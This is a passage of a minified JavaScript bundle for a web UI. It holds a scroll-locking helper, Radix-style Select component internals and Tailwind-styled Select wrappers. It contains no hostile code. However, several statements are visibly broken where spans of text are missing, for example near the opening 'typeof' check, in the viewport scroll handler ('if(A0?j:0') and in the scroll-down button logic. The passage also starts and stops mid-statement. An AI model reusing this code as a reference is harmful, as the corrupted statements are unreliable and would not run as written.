n,r=1,i=arguments.length;r"u")return H9;var t=q9(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},V9=kj(),_l="data-scroll-locked",K9=function(e,t,n,r){var i=e.left,l=e.top,c=e.right,u=e.gap;return n===void 0&&(n="margin"),` - .`.concat(_9,` { - overflow: hidden `).concat(r,`; - padding-right: `).concat(u,"px ").concat(r,`; - } - body[`).concat(_l,`] { - overflow: hidden `).concat(r,`; - overscroll-behavior: contain; - `).concat([t&&"position: relative ".concat(r,";"),n==="margin"&&` - padding-left: `.concat(i,`px; - padding-top: `).concat(l,`px; - padding-right: `).concat(c,`px; - margin-left:0; - margin-top:0; - margin-right: `).concat(u,"px ").concat(r,`; - `),n==="padding"&&"padding-right: ".concat(u,"px ").concat(r,";")].filter(Boolean).join(""),` - } - - .`).concat(ud,` { - right: `).concat(u,"px ").concat(r,`; - } - - .`).concat(fd,` { - margin-right: `).concat(u,"px ").concat(r,`; - } - - .`).concat(ud," .").concat(ud,` { - right: 0 `).concat(r,`; - } - - .`).concat(fd," .").concat(fd,` { - margin-right: 0 `).concat(r,`; - } - - body[`).concat(_l,`] { - `).concat(T9,": ").concat(u,`px; - } -`)},vC=function(){var e=parseInt(document.body.getAttribute(_l)||"0",10);return isFinite(e)?e:0},Y9=function(){v.useEffect(function(){return document.body.setAttribute(_l,(vC()+1).toString()),function(){var e=vC()-1;e<=0?document.body.removeAttribute(_l):document.body.setAttribute(_l,e.toString())}},[])},G9=function(e){var t=e.noRelative,n=e.noImportant,r=e.gapMode,i=r===void 0?"margin":r;Y9();var l=v.useMemo(function(){return F9(i)},[i]);return v.createElement(V9,{styles:K9(l,!t,i,n?"":"!important")})},y0=!1;if(typeof window<"u")try{var qf=Object.defineProperty({},"passive",{get:function(){return y0=!0,!0}});window.addEventListener("test",qf,qf),window.removeEventListener("test",qf,qf)}catch{y0=!1}var gl=y0?{passive:!1}:!1,W9=function(e){return e.tagName==="TEXTAREA"},Lj=function(e,t){if(!(e instanceof Element))return!1;var n=window.getComputedStyle(e);return n[t]!=="hidden"&&!(n.overflowY===n.overflowX&&!W9(e)&&n[t]==="visible")},X9=function(e){return Lj(e,"overflowY")},Z9=function(e){return Lj(e,"overflowX")},gC=function(e,t){var n=t.ownerDocument,r=t;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var i=Ij(e,r);if(i){var l=zj(e,r),c=l[1],u=l[2];if(c>u)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},Q9=function(e){var t=e.scrollTop,n=e.scrollHeight,r=e.clientHeight;return[t,n,r]},J9=function(e){var t=e.scrollLeft,n=e.scrollWidth,r=e.clientWidth;return[t,n,r]},Ij=function(e,t){return e==="v"?X9(t):Z9(t)},zj=function(e,t){return e==="v"?Q9(t):J9(t)},e7=function(e,t){return e==="h"&&t==="rtl"?-1:1},t7=function(e,t,n,r,i){var l=e7(e,window.getComputedStyle(t).direction),c=l*r,u=n.target,f=t.contains(u),h=!1,p=c>0,m=0,y=0;do{if(!u)break;var x=zj(e,u),S=x[0],w=x[1],O=x[2],A=w-O-l*S;(S||A)&&Ij(e,u)&&(m+=A,y+=S);var _=u.parentNode;u=_&&_.nodeType===Node.DOCUMENT_FRAGMENT_NODE?_.host:_}while(!f&&u!==document.body||f&&(t.contains(u)||t===u));return(p&&Math.abs(m)<1||!p&&Math.abs(y)<1)&&(h=!0),h},Ff=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},yC=function(e){return[e.deltaX,e.deltaY]},bC=function(e){return e&&"current"in e?e.current:e},n7=function(e,t){return e[0]===t[0]&&e[1]===t[1]},r7=function(e){return` - .block-interactivity-`.concat(e,` {pointer-events: none;} - .allow-interactivity-`).concat(e,` {pointer-events: all;} -`)},a7=0,yl=[];function i7(e){var t=v.useRef([]),n=v.useRef([0,0]),r=v.useRef(),i=v.useState(a7++)[0],l=v.useState(kj)[0],c=v.useRef(e);v.useEffect(function(){c.current=e},[e]),v.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(i));var w=C9([e.lockRef.current],(e.shards||[]).map(bC),!0).filter(Boolean);return w.forEach(function(O){return O.classList.add("allow-interactivity-".concat(i))}),function(){document.body.classList.remove("block-interactivity-".concat(i)),w.forEach(function(O){return O.classList.remove("allow-interactivity-".concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var u=v.useCallback(function(w,O){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!c.current.allowPinchZoom;var A=Ff(w),_=n.current,T="deltaX"in w?w.deltaX:_[0]-A[0],j="deltaY"in w?w.deltaY:_[1]-A[1],M,P=w.target,R=Math.abs(T)>Math.abs(j)?"h":"v";if("touches"in w&&R==="h"&&P.type==="range")return!1;var I=window.getSelection(),B=I&&I.anchorNode,q=B?B===P||B.contains(P):!1;if(q)return!1;var U=gC(R,P);if(!U)return!0;if(U?M=R:(M=R==="v"?"h":"v",U=gC(R,P)),!U)return!1;if(!r.current&&"changedTouches"in w&&(T||j)&&(r.current=M),!M)return!0;var V=r.current||M;return t7(V,O,w,V==="h"?T:j)},[]),f=v.useCallback(function(w){var O=w;if(!(!yl.length||yl[yl.length-1]!==l)){var A="deltaY"in O?yC(O):Ff(O),_=t.current.filter(function(M){return M.name===O.type&&(M.target===O.target||O.target===M.shadowParent)&&n7(M.delta,A)})[0];if(_&&_.should){O.cancelable&&O.preventDefault();return}if(!_){var T=(c.current.shards||[]).map(bC).filter(Boolean).filter(function(M){return M.contains(O.target)}),j=T.length>0?u(O,T[0]):!c.current.noIsolation;j&&O.cancelable&&O.preventDefault()}}},[]),h=v.useCallback(function(w,O,A,_){var T={name:w,delta:O,target:A,should:_,shadowParent:o7(A)};t.current.push(T),setTimeout(function(){t.current=t.current.filter(function(j){return j!==T})},1)},[]),p=v.useCallback(function(w){n.current=Ff(w),r.current=void 0},[]),m=v.useCallback(function(w){h(w.type,yC(w),w.target,u(w,e.lockRef.current))},[]),y=v.useCallback(function(w){h(w.type,Ff(w),w.target,u(w,e.lockRef.current))},[]);v.useEffect(function(){return yl.push(l),e.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:y}),document.addEventListener("wheel",f,gl),document.addEventListener("touchmove",f,gl),document.addEventListener("touchstart",p,gl),function(){yl=yl.filter(function(w){return w!==l}),document.removeEventListener("wheel",f,gl),document.removeEventListener("touchmove",f,gl),document.removeEventListener("touchstart",p,gl)}},[]);var x=e.removeScrollBar,S=e.inert;return v.createElement(v.Fragment,null,S?v.createElement(l,{styles:r7(i)}):null,x?v.createElement(G9,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function o7(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const l7=k9(Dj,i7);var zh=v.forwardRef(function(e,t){return v.createElement(Ih,Dr({},e,{ref:t,sideCar:l7}))});zh.classNames=Ih.classNames;var s7=[" ","Enter","ArrowUp","ArrowDown"],c7=[" ","Enter"],oo="Select",[$h,Bh,u7]=Kb(oo),[Yl]=Fn(oo,[u7,Fl]),Uh=Fl(),[f7,Ai]=Yl(oo),[d7,h7]=Yl(oo),$j=e=>{const{__scopeSelect:t,children:n,open:r,defaultOpen:i,onOpenChange:l,value:c,defaultValue:u,onValueChange:f,dir:h,name:p,autoComplete:m,disabled:y,required:x,form:S}=e,w=Uh(t),[O,A]=v.useState(null),[_,T]=v.useState(null),[j,M]=v.useState(!1),P=Kc(h),[R,I]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:oo}),[B,q]=Oa({prop:c,defaultProp:u,onChange:f,caller:oo}),U=v.useRef(null),V=O?S||!!O.closest("form"):!0,[oe,le]=v.useState(new Set),ce=Array.from(oe).map(L=>L.props.value).join(";");return E.jsx(zb,{...w,children:E.jsxs(f7,{required:x,scope:t,trigger:O,onTriggerChange:A,valueNode:_,onValueNodeChange:T,valueNodeHasChildren:j,onValueNodeHasChildrenChange:M,contentId:sr(),value:B,onValueChange:q,open:R,onOpenChange:I,dir:P,triggerPointerDownPosRef:U,disabled:y,children:[E.jsx($h.Provider,{scope:t,children:E.jsx(d7,{scope:e.__scopeSelect,onNativeOptionAdd:v.useCallback(L=>{le(F=>new Set(F).add(L))},[]),onNativeOptionRemove:v.useCallback(L=>{le(F=>{const $=new Set(F);return $.delete(L),$})},[]),children:n})}),V?E.jsxs(cP,{"aria-hidden":!0,required:x,tabIndex:-1,name:p,autoComplete:m,value:B,onChange:L=>q(L.target.value),disabled:y,form:S,children:[B===void 0?E.jsx("option",{value:""}):null,Array.from(oe)]},ce):null]})})};$j.displayName=oo;var Bj="SelectTrigger",Uj=v.forwardRef((e,t)=>{const{__scopeSelect:n,disabled:r=!1,...i}=e,l=Uh(n),c=Ai(Bj,n),u=c.disabled||r,f=De(t,c.onTriggerChange),h=Bh(n),p=v.useRef("touch"),[m,y,x]=fP(w=>{const O=h().filter(T=>!T.disabled),A=O.find(T=>T.value===c.value),_=dP(O,w,A);_!==void 0&&c.onValueChange(_.value)}),S=w=>{u||(c.onOpenChange(!0),x()),w&&(c.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return E.jsx($b,{asChild:!0,...l,children:E.jsx(Ce.button,{type:"button",role:"combobox","aria-controls":c.contentId,"aria-expanded":c.open,"aria-required":c.required,"aria-autocomplete":"none",dir:c.dir,"data-state":c.open?"open":"closed",disabled:u,"data-disabled":u?"":void 0,"data-placeholder":uP(c.value)?"":void 0,...i,ref:f,onClick:ue(i.onClick,w=>{w.currentTarget.focus(),p.current!=="mouse"&&S(w)}),onPointerDown:ue(i.onPointerDown,w=>{p.current=w.pointerType;const O=w.target;O.hasPointerCapture(w.pointerId)&&O.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(S(w),w.preventDefault())}),onKeyDown:ue(i.onKeyDown,w=>{const O=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&y(w.key),!(O&&w.key===" ")&&s7.includes(w.key)&&(S(),w.preventDefault())})})})});Uj.displayName=Bj;var Hj="SelectValue",qj=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,children:l,placeholder:c="",...u}=e,f=Ai(Hj,n),{onValueNodeHasChildrenChange:h}=f,p=l!==void 0,m=De(t,f.onValueNodeChange);return Ft(()=>{h(p)},[h,p]),E.jsx(Ce.span,{...u,ref:m,style:{pointerEvents:"none"},children:uP(f.value)?E.jsx(E.Fragment,{children:c}):l})});qj.displayName=Hj;var p7="SelectIcon",Fj=v.forwardRef((e,t)=>{const{__scopeSelect:n,children:r,...i}=e;return E.jsx(Ce.span,{"aria-hidden":!0,...i,ref:t,children:r||"▼"})});Fj.displayName=p7;var m7="SelectPortal",Vj=e=>E.jsx(Fc,{asChild:!0,...e});Vj.displayName=m7;var lo="SelectContent",Kj=v.forwardRef((e,t)=>{const n=Ai(lo,e.__scopeSelect),[r,i]=v.useState();if(Ft(()=>{i(new DocumentFragment)},[]),!n.open){const l=r;return l?wo.createPortal(E.jsx(Yj,{scope:e.__scopeSelect,children:E.jsx($h.Slot,{scope:e.__scopeSelect,children:E.jsx("div",{children:e.children})})}),l):null}return E.jsx(Gj,{...e,ref:t})});Kj.displayName=lo;var yr=10,[Yj,Ci]=Yl(lo),v7="SelectContentImpl",g7=g9("SelectContent.RemoveScroll"),Gj=v.forwardRef((e,t)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:i,onEscapeKeyDown:l,onPointerDownOutside:c,side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O,...A}=e,_=Ai(lo,n),[T,j]=v.useState(null),[M,P]=v.useState(null),R=De(t,ee=>j(ee)),[I,B]=v.useState(null),[q,U]=v.useState(null),V=Bh(n),[oe,le]=v.useState(!1),ce=v.useRef(!1);v.useEffect(()=>{if(T)return Gb(T)},[T]),Yb();const L=v.useCallback(ee=>{const[_e,...Q]=V().map(ne=>ne.ref.current),[fe]=Q.slice(-1),he=document.activeElement;for(const ne of ee)if(ne===he||(ne?.scrollIntoView({block:"nearest"}),ne===_e&&M&&(M.scrollTop=0),ne===fe&&M&&(M.scrollTop=M.scrollHeight),ne?.focus(),document.activeElement!==he))return},[V,M]),F=v.useCallback(()=>L([I,T]),[L,I,T]);v.useEffect(()=>{oe&&F()},[oe,F]);const{onOpenChange:$,triggerPointerDownPosRef:Z}=_;v.useEffect(()=>{if(T){let ee={x:0,y:0};const _e=fe=>{ee={x:Math.abs(Math.round(fe.pageX)-(Z.current?.x??0)),y:Math.abs(Math.round(fe.pageY)-(Z.current?.y??0))}},Q=fe=>{ee.x<=10&&ee.y<=10?fe.preventDefault():T.contains(fe.target)||$(!1),document.removeEventListener("pointermove",_e),Z.current=null};return Z.current!==null&&(document.addEventListener("pointermove",_e),document.addEventListener("pointerup",Q,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",_e),document.removeEventListener("pointerup",Q,{capture:!0})}}},[T,$,Z]),v.useEffect(()=>{const ee=()=>$(!1);return window.addEventListener("blur",ee),window.addEventListener("resize",ee),()=>{window.removeEventListener("blur",ee),window.removeEventListener("resize",ee)}},[$]);const[de,D]=fP(ee=>{const _e=V().filter(he=>!he.disabled),Q=_e.find(he=>he.ref.current===document.activeElement),fe=dP(_e,ee,Q);fe&&setTimeout(()=>fe.ref.current.focus())}),X=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&(B(ee),fe&&(ce.current=!0))},[_.value]),ae=v.useCallback(()=>T?.focus(),[T]),se=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&U(ee)},[_.value]),me=r==="popper"?b0:Wj,xe=me===b0?{side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O}:{};return E.jsx(Yj,{scope:n,content:T,viewport:M,onViewportChange:P,itemRefCallback:X,selectedItem:I,onItemLeave:ae,itemTextRefCallback:se,focusSelectedItem:F,selectedItemText:q,position:r,isPositioned:oe,searchRef:de,children:E.jsx(zh,{as:g7,allowPinchZoom:!0,children:E.jsx(Lh,{asChild:!0,trapped:_.open,onMountAutoFocus:ee=>{ee.preventDefault()},onUnmountAutoFocus:ue(i,ee=>{_.trigger?.focus({preventScroll:!0}),ee.preventDefault()}),children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:ee=>ee.preventDefault(),onDismiss:()=>_.onOpenChange(!1),children:E.jsx(me,{role:"listbox",id:_.contentId,"data-state":_.open?"open":"closed",dir:_.dir,onContextMenu:ee=>ee.preventDefault(),...A,...xe,onPlaced:()=>le(!0),ref:R,style:{display:"flex",flexDirection:"column",outline:"none",...A.style},onKeyDown:ue(A.onKeyDown,ee=>{const _e=ee.ctrlKey||ee.altKey||ee.metaKey;if(ee.key==="Tab"&&ee.preventDefault(),!_e&&ee.key.length===1&&D(ee.key),["ArrowUp","ArrowDown","Home","End"].includes(ee.key)){let fe=V().filter(he=>!he.disabled).map(he=>he.ref.current);if(["ArrowUp","End"].includes(ee.key)&&(fe=fe.slice().reverse()),["ArrowUp","ArrowDown"].includes(ee.key)){const he=ee.target,ne=fe.indexOf(he);fe=fe.slice(ne+1)}setTimeout(()=>L(fe)),ee.preventDefault()}})})})})})})});Gj.displayName=v7;var y7="SelectItemAlignedPosition",Wj=v.forwardRef((e,t)=>{const{__scopeSelect:n,onPlaced:r,...i}=e,l=Ai(lo,n),c=Ci(lo,n),[u,f]=v.useState(null),[h,p]=v.useState(null),m=De(t,R=>p(R)),y=Bh(n),x=v.useRef(!1),S=v.useRef(!0),{viewport:w,selectedItem:O,selectedItemText:A,focusSelectedItem:_}=c,T=v.useCallback(()=>{if(l.trigger&&l.valueNode&&u&&h&&w&&O&&A){const R=l.trigger.getBoundingClientRect(),I=h.getBoundingClientRect(),B=l.valueNode.getBoundingClientRect(),q=A.getBoundingClientRect();if(l.dir!=="rtl"){const he=q.left-I.left,ne=B.left-he,Ke=R.left-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.left=Cn+"px"}else{const he=I.right-q.right,ne=window.innerWidth-B.right-he,Ke=window.innerWidth-R.right-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.right=Cn+"px"}const U=y(),V=window.innerHeight-yr*2,oe=w.scrollHeight,le=window.getComputedStyle(h),ce=parseInt(le.borderTopWidth,10),L=parseInt(le.paddingTop,10),F=parseInt(le.borderBottomWidth,10),$=parseInt(le.paddingBottom,10),Z=ce+L+oe+$+F,de=Math.min(O.offsetHeight*5,Z),D=window.getComputedStyle(w),X=parseInt(D.paddingTop,10),ae=parseInt(D.paddingBottom,10),se=R.top+R.height/2-yr,me=V-se,xe=O.offsetHeight/2,ee=O.offsetTop+xe,_e=ce+L+ee,Q=Z-_e;if(_e<=se){const he=U.length>0&&O===U[U.length-1].ref.current;u.style.bottom="0px";const ne=h.clientHeight-w.offsetTop-w.offsetHeight,Ke=Math.max(me,xe+(he?ae:0)+ne+F),je=_e+Ke;u.style.height=je+"px"}else{const he=U.length>0&&O===U[0].ref.current;u.style.top="0px";const Ke=Math.max(se,ce+w.offsetTop+(he?X:0)+xe)+Q;u.style.height=Ke+"px",w.scrollTop=_e-se+w.offsetTop}u.style.margin=`${yr}px 0`,u.style.minHeight=de+"px",u.style.maxHeight=V+"px",r?.(),requestAnimationFrame(()=>x.current=!0)}},[y,l.trigger,l.valueNode,u,h,w,O,A,l.dir,r]);Ft(()=>T(),[T]);const[j,M]=v.useState();Ft(()=>{h&&M(window.getComputedStyle(h).zIndex)},[h]);const P=v.useCallback(R=>{R&&S.current===!0&&(T(),_?.(),S.current=!1)},[T,_]);return E.jsx(x7,{scope:n,contentWrapper:u,shouldExpandOnScrollRef:x,onScrollButtonChange:P,children:E.jsx("div",{ref:f,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:j},children:E.jsx(Ce.div,{...i,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...i.style}})})})});Wj.displayName=y7;var b7="SelectPopperPosition",b0=v.forwardRef((e,t)=>{const{__scopeSelect:n,align:r="start",collisionPadding:i=yr,...l}=e,c=Uh(n);return E.jsx(Bb,{...c,...l,ref:t,align:r,collisionPadding:i,style:{boxSizing:"border-box",...l.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});b0.displayName=b7;var[x7,Wb]=Yl(lo,{}),x0="SelectViewport",Xj=v.forwardRef((e,t)=>{const{__scopeSelect:n,nonce:r,...i}=e,l=Ci(x0,n),c=Wb(x0,n),u=De(t,l.onViewportChange),f=v.useRef(0);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),E.jsx($h.Slot,{scope:n,children:E.jsx(Ce.div,{"data-radix-select-viewport":"",role:"presentation",...i,ref:u,style:{position:"relative",flex:1,overflow:"hidden auto",...i.style},onScroll:ue(i.onScroll,h=>{const p=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:y}=c;if(y?.current&&m){const x=Math.abs(f.current-p.scrollTop);if(x>0){const S=window.innerHeight-yr*2,w=parseFloat(m.style.minHeight),O=parseFloat(m.style.height),A=Math.max(w,O);if(A0?j:0,m.style.justifyContent="flex-end")}}}f.current=p.scrollTop})})})]})});Xj.displayName=x0;var Zj="SelectGroup",[w7,S7]=Yl(Zj),O7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=sr();return E.jsx(w7,{scope:n,id:i,children:E.jsx(Ce.div,{role:"group","aria-labelledby":i,...r,ref:t})})});O7.displayName=Zj;var Qj="SelectLabel",Jj=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=S7(Qj,n);return E.jsx(Ce.div,{id:i.id,...r,ref:t})});Jj.displayName=Qj;var _d="SelectItem",[E7,eP]=Yl(_d),tP=v.forwardRef((e,t)=>{const{__scopeSelect:n,value:r,disabled:i=!1,textValue:l,...c}=e,u=Ai(_d,n),f=Ci(_d,n),h=u.value===r,[p,m]=v.useState(l??""),[y,x]=v.useState(!1),S=De(t,_=>f.itemRefCallback?.(_,r,i)),w=sr(),O=v.useRef("touch"),A=()=>{i||(u.onValueChange(r),u.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return E.jsx(E7,{scope:n,value:r,disabled:i,textId:w,isSelected:h,onItemTextChange:v.useCallback(_=>{m(T=>T||(_?.textContent??"").trim())},[]),children:E.jsx($h.ItemSlot,{scope:n,value:r,disabled:i,textValue:p,children:E.jsx(Ce.div,{role:"option","aria-labelledby":w,"data-highlighted":y?"":void 0,"aria-selected":h&&y,"data-state":h?"checked":"unchecked","aria-disabled":i||void 0,"data-disabled":i?"":void 0,tabIndex:i?void 0:-1,...c,ref:S,onFocus:ue(c.onFocus,()=>x(!0)),onBlur:ue(c.onBlur,()=>x(!1)),onClick:ue(c.onClick,()=>{O.current!=="mouse"&&A()}),onPointerUp:ue(c.onPointerUp,()=>{O.current==="mouse"&&A()}),onPointerDown:ue(c.onPointerDown,_=>{O.current=_.pointerType}),onPointerMove:ue(c.onPointerMove,_=>{O.current=_.pointerType,i?f.onItemLeave?.():O.current==="mouse"&&_.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ue(c.onPointerLeave,_=>{_.currentTarget===document.activeElement&&f.onItemLeave?.()}),onKeyDown:ue(c.onKeyDown,_=>{f.searchRef?.current!==""&&_.key===" "||(c7.includes(_.key)&&A(),_.key===" "&&_.preventDefault())})})})})});tP.displayName=_d;var hc="SelectItemText",nP=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,...l}=e,c=Ai(hc,n),u=Ci(hc,n),f=eP(hc,n),h=h7(hc,n),[p,m]=v.useState(null),y=De(t,A=>m(A),f.onItemTextChange,A=>u.itemTextRefCallback?.(A,f.value,f.disabled)),x=p?.textContent,S=v.useMemo(()=>E.jsx("option",{value:f.value,disabled:f.disabled,children:x},f.value),[f.disabled,f.value,x]),{onNativeOptionAdd:w,onNativeOptionRemove:O}=h;return Ft(()=>(w(S),()=>O(S)),[w,O,S]),E.jsxs(E.Fragment,{children:[E.jsx(Ce.span,{id:f.textId,...l,ref:y}),f.isSelected&&c.valueNode&&!c.valueNodeHasChildren?wo.createPortal(l.children,c.valueNode):null]})});nP.displayName=hc;var rP="SelectItemIndicator",aP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return eP(rP,n).isSelected?E.jsx(Ce.span,{"aria-hidden":!0,...r,ref:t}):null});aP.displayName=rP;var w0="SelectScrollUpButton",iP=v.forwardRef((e,t)=>{const n=Ci(w0,e.__scopeSelect),r=Wb(w0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollTop>0;l(h)};const f=n.viewport;return u(),f.addEventListener("scroll",u),()=>f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop-f.offsetHeight)}}):null});iP.displayName=w0;var S0="SelectScrollDownButton",oP=v.forwardRef((e,t)=>{const n=Ci(S0,e.__scopeSelect),r=Wb(S0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollHeight-f.clientHeight,p=Math.ceil(f.scrollTop)f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop+f.offsetHeight)}}):null});oP.displayName=S0;var lP=v.forwardRef((e,t)=>{const{__scopeSelect:n,onAutoScroll:r,...i}=e,l=Ci("SelectScrollButton",n),c=v.useRef(null),u=Bh(n),f=v.useCallback(()=>{c.current!==null&&(window.clearInterval(c.current),c.current=null)},[]);return v.useEffect(()=>()=>f(),[f]),Ft(()=>{u().find(p=>p.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:"nearest"})},[u]),E.jsx(Ce.div,{"aria-hidden":!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:ue(i.onPointerDown,()=>{c.current===null&&(c.current=window.setInterval(r,50))}),onPointerMove:ue(i.onPointerMove,()=>{l.onItemLeave?.(),c.current===null&&(c.current=window.setInterval(r,50))}),onPointerLeave:ue(i.onPointerLeave,()=>{f()})})}),A7="SelectSeparator",sP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return E.jsx(Ce.div,{"aria-hidden":!0,...r,ref:t})});sP.displayName=A7;var O0="SelectArrow",C7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=Uh(n),l=Ai(O0,n),c=Ci(O0,n);return l.open&&c.position==="popper"?E.jsx(Ub,{...i,...r,ref:t}):null});C7.displayName=O0;var _7="SelectBubbleInput",cP=v.forwardRef(({__scopeSelect:e,value:t,...n},r)=>{const i=v.useRef(null),l=De(r,i),c=Oj(t);return v.useEffect(()=>{const u=i.current;if(!u)return;const f=window.HTMLSelectElement.prototype,p=Object.getOwnPropertyDescriptor(f,"value").set;if(c!==t&&p){const m=new Event("change",{bubbles:!0});p.call(u,t),u.dispatchEvent(m)}},[c,t]),E.jsx(Ce.select,{...n,style:{...XM,...n.style},ref:l,defaultValue:t})});cP.displayName=_7;function uP(e){return e===""||e===void 0}function fP(e){const t=en(e),n=v.useRef(""),r=v.useRef(0),i=v.useCallback(c=>{const u=n.current+c;t(u),(function f(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>f(""),1e3))})(u)},[t]),l=v.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,i,l]}function dP(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=T7(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.textValue.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function T7(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var N7=$j,hP=Uj,M7=qj,j7=Fj,P7=Vj,pP=Kj,R7=Xj,mP=Jj,vP=tP,D7=nP,k7=aP,gP=iP,yP=oP,bP=sP;const L7=N7,I7=M7,xP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(hP,{ref:r,className:Ee("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",e),...n,children:[t,E.jsx(j7,{asChild:!0,children:E.jsx(Ch,{className:"h-4 w-4 opacity-50"})})]}));xP.displayName=hP.displayName;const wP=v.forwardRef(({className:e,...t},n)=>E.jsx(gP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(R6,{className:"h-4 w-4"})}));wP.displayName=gP.displayName;const SP=v.forwardRef(({className:e,...t},n)=>E.jsx(yP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(Ch,{className:"h-4 w-4"})}));SP.displayName=yP.displayName;const OP=v.forwardRef(({className:e,children:t,position:n="popper",...r},i)=>E.jsx(P7,{children:E.jsxs(pP,{ref:i,className:Ee("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",n==="popper"&&"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",e),position:n,...r,children:[E.jsx(wP,{}),E.jsx(R7,{className:Ee("p-1",n==="popper"&&"max-h-[--radix-select-content-available-height] w-full min-w-[var(--radix-select-trigger-width)]"),children:t}),E.jsx(SP,{})]})}));OP.displayName=pP.displayName;const z7=v.forwardRef(({className:e,...t},n)=>E.jsx(mP,{ref:n,className:Ee("py-1.5 pl-8 pr-2 text-sm font-semibold",e),...t}));z7.displayName=mP.displayName;const 